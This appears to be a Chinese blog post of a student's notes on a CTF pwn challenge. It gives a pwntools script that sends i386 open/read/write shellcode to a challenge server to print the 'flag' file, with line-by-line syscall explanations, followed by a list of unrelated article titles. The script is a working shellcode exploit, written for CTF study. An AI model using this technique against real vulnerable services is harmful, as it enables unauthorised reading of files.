题解网上其他师傅已经写过了而且写的很详细,菜鸡只好写一下自己做题中的笔记


Payload :

#coding:utf-8
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p=remote('node3.buuoj.cn',28288)
shellcode=""
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; mov ebx,esp;xor edx,edx;int 0x80;')
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')
shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')
recv = p.recvuntil(':')
p.sendline(shellcode)
flag = p.recv(100)
print flag

Shellcode解析:

在文件读写之前,我们必须先打开文件。从应用程序的角度来看,这是通过标准库的open函数完成的,该函数返回一个文件描述符。内核中是由系统调用sys_open()函数完成。
https://www.linuxidc.com/Linux/2012-02/54224.htm
https://www.shiyanlou.com/courses/reports/1098951/
https://blog.csdn.net/qq_35495684/article/details/80161177 第一部分:实现
--》char*file='flag';
--》sys_open(file,0,0); xor ecx,ecx;
mov eax,0x5; # eax = sys_open
push ecx; # 字符串结尾"\00"
push 0x67616c66; # "flags"
mov ebx,esp; # ebx = const char __user *filename
xor edx,edx; # edx = int mode 设定权限的
int 0x80; 第二部分:实现
--》sys_read(3,file,0x30); mov eax,0x3; # eax = sys_read
mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
mov ebx,0x3; # ebx = unsigned int fd = 3 文件描述符
mov dl,0x30; # edx = size_t count 对应字节数
int 0x80; '''
fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数
'''
第三部分:实现
--》sys_write(1,file,0x30); mov eax,0x4; # eax = sys_write
mov bl,0x1; # ebx = unsigned int fd = 1
int 0x80;

最新文章

  1. Linux之我见
  2. 系统配置 之:远程桌面连接(win7系统)
  3. Java引用总结--StrongReference、SoftReference、WeakReference、PhantomReference
  4. 3.5电子书pc显示
  5. C# 数据回滚
  6. 使用Ant命令压缩JavaScript文件
  7. svn学习总结
  8. Office在线预览及PDF在线预览的实现方式史上最全大集合
  9. java多线程之消费者生产者模式 (转)
  10. android之frame动画详解
  11. PL/SQL developer export/import (转)
  12. pthread_setschedprio()函数详解!!!
  13. 使用代码的方式给EntityFramework edmx 创建连接字符串
  14. 一个.Net网站的成长历程
  15. js02-常用流程控制语句
  16. docker 4 docker的三要素
  17. 第二十二篇-Guideline基准线
  18. ubuntu 17.10.1 安装 virtual box 增强工具
  19. IntelliJ IDEA 2017版 编译器使用学习笔记(九)(图文详尽版);IDE使用的有趣的插件;IDE代码统计器;Mybatis插件
  20. 洛谷P2633 Count on a tree(主席树,倍增LCA,树上差分)

热门文章

  1. vivo统一告警平台设计与实践
  2. SpringServletContainerInitializer的代码流程
  3. vue使用axios读取本地json文件来显示echarts折线图
  4. Codeforces 1368E - Ski Accidents(构造+思维)
  5. 洛谷 P4755 - Beautiful Pair(主席树+分治+启发式优化)
  6. Python使用print打印时,展示内容不换行
  7. nginx_日志切割脚本
  8. 59. Divide Two Integers
  9. rabbit mq的一个实例,异步功能
  10. 商业创新不能等?用友低代码开发平台YonBuilder为您加速!